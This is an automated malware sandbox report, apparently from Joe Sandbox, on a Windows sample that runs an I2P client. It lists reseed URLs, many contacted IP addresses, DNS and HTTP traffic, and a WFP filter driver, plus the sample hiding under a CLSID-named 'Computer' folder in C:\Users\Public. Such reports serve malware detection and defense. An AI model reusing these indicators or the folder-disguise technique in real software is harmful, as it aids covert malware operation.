Source: main.exe, 00000020.00000002.3261726260.00000270D3CED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/*
Source: main.exe, 00000020.00000002.3261726260.00000270D3CED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/7
Source: main.exe, 00000020.00000002.3261726260.00000270D3CED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/&
Source: main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/
Source: main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/??
Source: main.exe, 00000020.00000002.3262053344.00000270D3D82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed.onion.im/
Source: main.exe, 00000020.00000002.3262201152.00000270D4100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed.onion.im/i2pseeds.su3
Source: main.exe, 00000020.00000002.3263308068.00007FF8A8C54000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/
Source: update.pkg.11.dr	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/

NDIS Filter Driver detected (likely used to intercept and sniff network traffic)

Source: vc71izwl68ub3txurufnpr09g6ni3.exe.1.dr

Static PE information: Found NDIS imports: FwpmEngineClose0, FwpmEngineOpen0, FwpmFilterAdd0, FwpmFilterDeleteByKey0, FwpmFreeMemory0, FwpmProviderAdd0, FwpmProviderCreateEnumHandle0, FwpmProviderDestroyEnumHandle0, FwpmProviderEnum0

Performs DNS queries to domains with low reputation

Source:

DNS query: reseed-pl.i2pd.xyz

Uses TOR for connection hidding

Source: unknown

DNS query: name: reseed.onion.im

Source: unknown

Network traffic detected: IP country count 26

Source: global traffic	TCP traffic: 192.168.2.5:49704 -> 45.200.148.158:1129
Source: global traffic	TCP traffic: 192.168.2.5:49990 -> 31.3.152.100:32230
Source: global traffic	TCP traffic: 192.168.2.5:49991 -> 148.135.95.231:16981
Source: global traffic	TCP traffic: 192.168.2.5:49992 -> 78.191.208.199:13920
Source: global traffic	TCP traffic: 192.168.2.5:49993 -> 193.233.193.76:4567
Source: global traffic	TCP traffic: 192.168.2.5:49994 -> 107.189.28.6:12596
Source: global traffic	TCP traffic: 192.168.2.5:49995 -> 118.136.159.58:13573
Source: global traffic	TCP traffic: 192.168.2.5:49996 -> 174.164.200.204:22692
Source: global traffic	TCP traffic: 192.168.2.5:49997 -> 145.220.60.21:23242
Source: global traffic	TCP traffic: 192.168.2.5:49998 -> 139.59.231.96:11507
Source: global traffic	TCP traffic: 192.168.2.5:49999 -> 194.54.156.174:1941
Source: global traffic	TCP traffic: 192.168.2.5:50000 -> 176.241.49.148:14426
Source: global traffic	TCP traffic: 192.168.2.5:50001 -> 78.57.19.55:11987
Source: global traffic	TCP traffic: 192.168.2.5:50002 -> 23.137.249.66:9520
Source: global traffic	TCP traffic: 192.168.2.5:50003 -> 95.158.36.98:30125
Source: global traffic	TCP traffic: 192.168.2.5:50004 -> 120.77.100.135:9492
Source: global traffic	TCP traffic: 192.168.2.5:50005 -> 188.174.152.142:9830
Source: global traffic	TCP traffic: 192.168.2.5:50006 -> 95.105.66.5:4327
Source: global traffic	TCP traffic: 192.168.2.5:50007 -> 69.10.220.235:19348
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 73.110.171.77:10364
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 36.37.69.163:9649
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 82.65.181.52:25269
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 185.148.3.164:20180
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 49.176.22.233:23154
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 87.209.87.178:23154
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 92.39.210.213:27519
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 213.108.251.66:14424
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 47.221.95.89:23154
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 24.125.49.216:10077
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 57.128.196.4:14623
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 208.113.128.162:4567
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 123.215.14.113:21124
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 155.93.133.82:23462
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 67.2.9.136:29263
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 71.246.18.247:33888
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 198.74.48.115:28580
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 24.57.10.130:23154
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 179.254.168.215:28761
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 65.109.174.146:28732
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 2.155.132.51:15991
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 128.140.43.40:15106
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 77.238.244.54:18290
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 144.76.102.56:37441
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 46.142.175.43:34987
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 101.191.73.121:14250
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 31.10.150.55:28244
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 178.175.134.3:29943
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 147.79.71.139:19972
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 45.83.104.162:57657
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 84.52.93.26:15801
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 50.37.113.212:20586
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 108.61.189.74:30348
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 78.58.40.197:22648
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 120.24.253.140:9339
Source: global traffic	UDP traffic: 192.168.2.5:29226 -> 72.11.42.34:30043

Source: Joe Sandbox View

IP Address: 31.3.152.100 31.3.152.100

Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.158

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 22_2_00007FF8B9152A1A recv,WSAGetLastError,

22_2_00007FF8B9152A1A

Source: global traffic	HTTP traffic detected: GET https://reseed.memcpy.io:443/i2pseeds.su3 HTTP/1.0User-Agent: Wget/1.11.4Connection: close
Source: global traffic	HTTP traffic detected: GET https://reseed-pl.i2pd.xyz:443/i2pseeds.su3 HTTP/1.0User-Agent: Wget/1.11.4Connection: close
Source: global traffic	HTTP traffic detected: GET https://reseed-pl.i2pd.xyz:443/i2pseeds.su3 HTTP/1.0User-Agent: Wget/1.11.4Connection: close
Source: global traffic	HTTP traffic detected: GET https://reseed.i2pgit.org:443/i2pseeds.su3 HTTP/1.0User-Agent: Wget/1.11.4Connection: close

Source: global traffic	DNS traffic detected: DNS query: reseed.memcpy.io
Source: global traffic	DNS traffic detected: DNS query: reseed-pl.i2pd.xyz
Source: global traffic	DNS traffic detected: DNS query: reseed.i2pgit.org
Source: global traffic	DNS traffic detected: DNS query: reseed.onion.im

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 05 Jan 2025 16:49:42 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-Encoding
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 05 Jan 2025 16:49:43 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-Encoding

Source: shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 00000016.00000003.2456738676.0000022350291000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000003.2456860774.0000022350297000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.11.dr	String found in binary or memory: http://127.0.0.1:8118
Source: svchost.exe, 0000001F.00000003.3199473486.000001D37989B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199443216.000001D37936E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183985353.000001D379382000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183713515.000001D379382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS
Source: svchost.exe, 0000001F.00000003.3183713515.000001D379377000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263271717.000001D37937C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd
Source: svchost.exe, 0000001F.00000002.3263371493.000001D379800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3209006685.000001D379382000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263092922.000001D379313000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb
Source: svchost.exe, 0000001F.00000002.3263426432.000001D379836000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263588064.000001D37988F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb:pp
Source: svchost.exe, 0000001F.00000002.3263489218.000001D379854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb_
Source: svchost.exe, 0000001F.00000002.3262697506.000001D378AC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 0000001F.00000002.3262697506.000001D378AC7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3037162349.000001D379352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263271717.000001D37937C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3143492582.000001D37937A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111301830.000001D379307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111317881.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183985353.000001D37937C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183713515.000001D37937C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3036974940.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: svchost.exe, 0000001F.00000003.3183261030.000001D379308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd$
Source: svchost.exe, 0000001F.00000003.3143580946.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3143291121.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3156389621.000001D379307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3112272695.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111493334.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183931947.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3143546975.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263042958.000001D379310000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3156417903.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111460681.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183773272.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3184036782.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3130778572.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111301830.000001D379307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111317881.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183261030.000001D379308000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183958551.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3184178913.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3143745371.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199403669.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3112006865.000001D37930E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAA
Source: svchost.exe, 0000001F.00000003.3130435099.000001D379329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAAAA
Source: svchost.exe, 0000001F.00000003.3183985353.000001D37937C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183713515.000001D37937C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdes
Source: svchost.exe, 0000001F.00000003.3183985353.000001D37937C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183713515.000001D37937C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsds
Source: svchost.exe, 0000001F.00000002.3263271717.000001D37937C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3143492582.000001D37937A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111301830.000001D379307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3262754497.000001D378AD2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111317881.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183985353.000001D37937C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183713515.000001D37937C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3036974940.000001D379352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199322434.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183904232.000001D37930F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 0000001F.00000003.3156389621.000001D379307000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd$
Source: svchost.exe, 0000001F.00000003.3143580946.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3143291121.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3156389621.000001D379307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3112272695.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111493334.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183931947.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3143546975.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263042958.000001D379310000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3156417903.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111460681.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183773272.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3184036782.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3130778572.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111301830.000001D379307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111317881.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183261030.000001D379308000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183958551.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3184178913.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3143745371.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199403669.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3112006865.000001D37930E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdA
Source: svchost.exe, 0000001F.00000003.3130435099.000001D379329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAA
Source: svchost.exe, 0000001F.00000003.3130435099.000001D379329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAAA
Source: svchost.exe, 0000001F.00000003.3037162349.000001D379352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdmlns:
Source: svchost.exe, 0000001F.00000002.3263271717.000001D37937C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3143492582.000001D37937A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183985353.000001D37937C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183713515.000001D37937C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsds
Source: shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.11.dr	String found in binary or memory: http://identiguy.i2p/hosts.txt
Source: svchost.exe, 0000001F.00000002.3262531893.000001D378A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263392705.000001D379813000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263489218.000001D379854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://passport.net/tb
Source: update.pkg.11.dr	String found in binary or memory: http://reg.i2p/hosts.txt
Source: main.exe, 00000020.00000002.3261726260.00000270D3CED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://reg.i2p/hosts.txt9
Source: shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.11.dr	String found in binary or memory: http://rus.i2p/hosts.txt
Source: svchost.exe, 0000001F.00000003.3111493334.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111460681.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3112006865.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111952207.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3111425069.000001D37930E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263196941.000001D37935F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: svchost.exe, 0000001F.00000002.3263129207.000001D379337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: svchost.exe, 0000001F.00000003.3121387179.000001D379366000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263196941.000001D37935F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199322434.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183904232.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263092922.000001D379313000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: svchost.exe, 0000001F.00000003.3111366178.000001D37936E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199377490.000001D37936D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263235797.000001D37936F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199443216.000001D37936E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3121387179.000001D379366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policysrf
Source: svchost.exe, 0000001F.00000003.3121387179.000001D379366000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263196941.000001D37935F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: svchost.exe, 0000001F.00000002.3263092922.000001D379313000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/scn
Source: svchost.exe, 0000001F.00000002.3263196941.000001D37935F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199322434.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3183904232.000001D37930F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263092922.000001D379313000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: svchost.exe, 0000001F.00000003.3199377490.000001D37936D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.3263235797.000001D37936F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3199443216.000001D37936E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.3121387179.000001D379366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
